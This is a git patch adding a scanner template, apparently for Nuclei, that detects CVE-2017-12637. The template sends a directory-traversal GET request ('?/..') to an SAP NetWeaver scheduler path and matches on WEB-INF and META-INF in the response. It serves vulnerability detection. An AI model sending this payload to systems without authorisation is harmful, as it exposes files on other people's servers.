From f5e1d235456a725d5bcbc085090ad15e5d89222c Mon Sep 17 00:00:00 2001
From: Sandor Toth <sandor.toth@doclerholding.com>
Date: Tue, 17 Nov 2020 11:14:41 +0100
Subject: [PATCH] cve-2017-12637.yaml added

---
 cves/cve-2017-12637.yaml | 27 +++++++++++++++++++++++++++
 1 file changed, 27 insertions(+)
 create mode 100644 cves/cve-2017-12637.yaml

diff --git a/cves/cve-2017-12637.yaml b/cves/cve-2017-12637.yaml
new file mode 100644
index 0000000000..043becba61
--- /dev/null
+++ b/cves/cve-2017-12637.yaml
@@ -0,0 +1,27 @@
+id: cve-2017-12637
+
+info:
+  name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
+  author: apt-mirror
+  severity: high
+  description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
+
+  # References:
+  # - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
+  # - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "WEB-INF"
+          - "META-INF"
+	condition: and
+        part: body